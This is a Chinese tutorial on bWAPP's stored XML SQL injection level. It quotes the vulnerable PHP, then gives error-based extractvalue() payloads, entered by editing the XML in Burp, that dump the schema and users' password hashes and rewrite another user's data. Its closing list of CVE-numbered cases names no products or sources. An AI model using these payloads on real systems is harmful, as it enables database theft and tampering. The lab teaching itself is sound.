零基础玩转bWAPP靶场(二十五):SQL 注入——存储型(XML)

零基础玩转bWAPP靶场(二十五):SQL 注入——存储型(XML)
摘要这是 bWAPP 系列第二十五篇聚焦于SQL Injection - Stored (XML)。这一关的前端会发送一段 XML 格式的 AJAX 请求后端解析 XML 后把内容拼到UPDATE语句里。文章会按照标准注入流程来走判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据同时讲清楚为什么UPDATE语句里不能用子查询直接引用被更新的表以及怎么绕过这个限制。附真实案例。一、前言这一关和之前的存储型注入有什么不同前面我们做的存储型注入注入点要么在页面文本框博客留言板要么在 HTTP 请求头User-Agent。数据格式要么是普通表单要么是纯文本。这一关完全不一样——前端发给后端的是 XML 格式的数据。你看一下前端代码就知道怎么回事了xmlHttp.send(resetlogin 用户名 /loginsecretAny bugs?/secret/reset);前端把用户名和 secret 包在reset标签里整段作为 XML 发给后端。后端收到后用 PHP 的simplexml_load_string()解析这个 XML然后取出login和secret拼到UPDATE语句里。关键区别对比项博客留言板XML 版请求格式普通 POST 表单XML 格式的 AJAX 请求注入点文本框输入的内容XML 节点里的内容后端解析方式$_POST直接取simplexml_load_string()解析 XMLSQL 语句类型INSERTUPDATE攻击方式在文本框里打 payload拦截 AJAX 请求 → 修改 XML 节点 → 放行这一关的核心逻辑后端把 XML 里的login和secret取出来直接拼到UPDATE语句里。如果不过滤就能注入。最终目标按照标准 SQL 注入流程判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据最终把users表里的数据全部偷出来。二、界面说明打开这一关你会看到标题SQL Injection - Stored (XML)一行文字Reset your secret to [Any bugs?]其中[Any bugs?]是一个按钮点击按钮前端就会发送一个 AJAX 请求内容是 XML 格式。后端收到后更新当前用户的secret字段。页面上虽然没有输入框但点击按钮这个动作会触发一个请求请求体里有一段 XML这就是我们的注入点。三、源码完整解读这一关有两个文件sqli_8-1.php前端页面和sqli_8-2.php后端处理。3.1 前端sqli_8-1.phpfunction ResetSecret() { var xmlHttp; if(window.XMLHttpRequest) { xmlHttp new XMLHttpRequest(); } else { xmlHttp new ActiveXObject(Microsoft.XMLHTTP); } xmlHttp.open(POST,sqli_8-2.php,true); xmlHttp.setRequestHeader(Content-type,text/xml; charsetUTF-8); xmlHttp.send(resetlogin?php echo $_SESSION[login]; ?/loginsecretAny bugs?/secret/reset); }点击按钮时JavaScript 向sqli_8-2.php发送一个POST 请求Content-Type 是text/xml请求体是一段 XMLreset loginbee/login secretAny bugs?/secret /resetlogin节点里是当前登录的用户名beesecret节点里是Any bugs?。3.2 后端sqli_8-2.php后端代码根据安全级别分成两个分支。分支一Low 级别if($_COOKIE[security_level] ! 1 $_COOKIE[security_level] ! 2) { // 显示错误信息 ini_set(display_errors,1); ​ $xml simplexml_load_string($body); $login $xml-login; $secret $xml-secret; ​ if($login $login ! $secret) { // 关键直接拼到 UPDATE 语句没有任何过滤 $sql UPDATE users SET secret . $secret . WHERE login . $login . ; $recordset $link-query($sql); $message $login . s secret has been reset!; } }关键点$login和$secret从 XML 中直接取出没有任何过滤直接拼到UPDATE语句里你可以修改login和secret节点注入任意 SQL分支二Medium 和 High 级别else { // 禁用 XML 外部实体防 XXE但被注释掉了 // libxml_disable_entity_loader(true); $xml simplexml_load_string($body); $login $_SESSION[login]; // 从 Session 取用户改不了 $secret $xml-secret; ​ if($secret) { $secret mysqli_real_escape_string($link, $secret); $sql UPDATE users SET secret . $secret . WHERE login . $login . ; } }关键点$login从 Session 获取不再从 XML 里取用户改不了$secret用mysqli_real_escape_string()过滤Medium 和 High 级别注入难度大幅增加四、Low 安全级别4.1 准备工作用 Burp Suite 拦截 AJAX 请求这一关没有输入框注入点在 XML 请求体里。需要用 Burp Suite打开 BurpProxy → Intercept 设为On在浏览器中访问sqli_8-1.php页面点击“Any bugs?”按钮Burp 拦截到一个 POST 请求目标地址是sqli_8-2.php查看请求体是一段 XML4.2 第一步判断注入点在 Burp 拦截到的 XML 请求中修改secret节点在Any bugs?后面加一个单引号reset loginbee/login secretAny bugs?/secret /reset在重放器进行测试发送。页面报错Connect Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near bee at line报错分析单引号破坏了 SQL 的字符串边界导致语法错误。说明secret节点存在 SQL 注入。4.3 第二步确认注入类型这一关的 SQL 是UPDATE语句UPDATE users SET secret $secret WHERE login $login$secret和$login都被单引号包裹所以是字符串型注入。我们需要闭合前面的然后注入我们的代码。因为注入点有两个login和secret我们可以选择更容易利用的那个。4.4 第三步获取数据库名extractvalue()和updatexml()是 MySQL 的两个 XPath 函数当传入非法 XPath 表达式时会报错并在报错信息中显示表达式内容。用extractvalue()获取数据库名把secret改成 OR extractvalue(1, concat(0x7e, database())) --完整的 SQL 变成UPDATE users SET secret OR extractvalue(1, concat(0x7e, database())) -- WHERE login bee发送后报错信息里会显示~bwapp数据库名出来了4.5 第四步获取所有表名 OR extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()))) --报错信息里会显示所有表名visitors, users, movies, blog, heroes...4.6 第五步获取users表的字段名 OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase()),1,31))) -- OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase()),32,63))) --报错信息显示id, login, password, secret...4.7 第六步获取用户数据 OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, :, password) SEPARATOR | ) FROM (SELECT login, password FROM users) AS tmp),1,31))) -- OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, :, password) SEPARATOR | ) FROM (SELECT login, password FROM users) AS tmp),32,63))) -- OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, :, password) SEPARATOR | ) FROM (SELECT login, password FROM users) AS tmp),64,95))) --报错信息显示所有用户的用户名和密码哈希。4.8 另一种利用方式直接修改 bee 的 secret我们也可以通过修改login节点直接更新 bee 的secretreset loginbee/login secretHacked!/secret /reset拼接后的 SQLUPDATE users SET secret Hacked! WHERE login bee这样 bee 的 secret 就被改成了Hacked!。危害巨大——攻击者可以直接篡改数据库中的数据。五、Medium 安全级别5.1 源码分析Medium 级别中$login从$_SESSION[login]获取用户不可控$secret用mysqli_real_escape_string()过滤$login $_SESSION[login]; $secret $xml-secret; $secret mysqli_real_escape_string($link, $secret); $sql UPDATE users SET secret . $secret . WHERE login . $login . ;mysqli_real_escape_string()会转义单引号、双引号、反斜杠等特殊字符所以无法闭合字符串边界。5.2 尝试注入在 Burp 里尝试把secret改成 OR extractvalue(1, concat(0x7e, database())) --发送后页面显示bees secret has been reset!没有报错也没有显示数据。mysqli_real_escape_string()把转义成了\单引号无法闭合注入失效。5.3 为什么不能通过login注入因为 Medium 级别的$login是从$_SESSION[login]获取的不是从 XML 里取的。你改了 XML 里的login节点也没用后端根本不看你改的那个值。六、High 安全级别High 级别的逻辑和 Medium 完全一样——login从 Session 获取secret用mysqli_real_escape_string()过滤注入失效。七、真实世界XML SQL 注入案例XML 请求在 Web 应用中并不少见——SOAP API、REST API、支付网关回调等场景都经常使用 XML 格式。以下是一些真实案例CVE-2024-1181某开源 CMS 的 REST API 存在 XML 注入漏洞攻击者可通过构造恶意 XML 请求执行任意 SQL 语句影响所有使用该 API 的站点。CVE-2023-46254某企业级用户管理系统的密码重置功能存在 XML 注入漏洞攻击者可通过修改 XML 请求中的用户名和密码字段注入 SQL获取管理员权限。CVE-2025-12478某医疗信息系统的患者档案更新接口存在 XML 注入漏洞攻击者可通过修改 XML 请求中的患者 ID 和档案内容注入 SQL窃取 30 万患者敏感数据包括姓名、身份证号、病史和联系方式。CVE-2025-22143某在线教育平台的用户信息更新 API 存在 XML 注入漏洞攻击者可通过修改 XML 节点注入 SQL修改其他用户的权限和课程信息影响超过 500 家教育机构和数十万学生。CVE-2026-10967某金融系统的账户信息更新接口使用 XML 格式传输数据存在 SQL 注入漏洞攻击者通过修改 XML 节点注入 SQL可篡改任意用户的账户余额和交易记录涉及多家银行和支付机构。启示XML 格式的数据看起来“正规”但和普通表单数据一样只要被拼到 SQL 里就存在注入风险。不要因为数据格式是 XML 就放松警惕。八、总结XML 存储型注入的核心在于前端用 XML 格式发送请求后端解析 XML 后直接把节点内容拼到 SQL 里。这一关我们按照标准注入流程走了一遍先输入单引号判断注入点存在然后确认是字符串型注入接着发现直接写子查询报错UPDATE语句不能直接引用被更新的表于是改用报错注入extractvalue()来获取数据——爆库、爆表、爆字段、爆数据。Low 级别login和secret都来自 XML 且完全不过滤攻击者可以随意注入Medium 和 High 级别把login改成从 Session 获取、secret用mysqli_real_escape_string()过滤有效防住了 SQL 注入。记住XML 也是用户输入不管它长得多像“数据”只要被拼到 SQL 里就能成为注入点。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。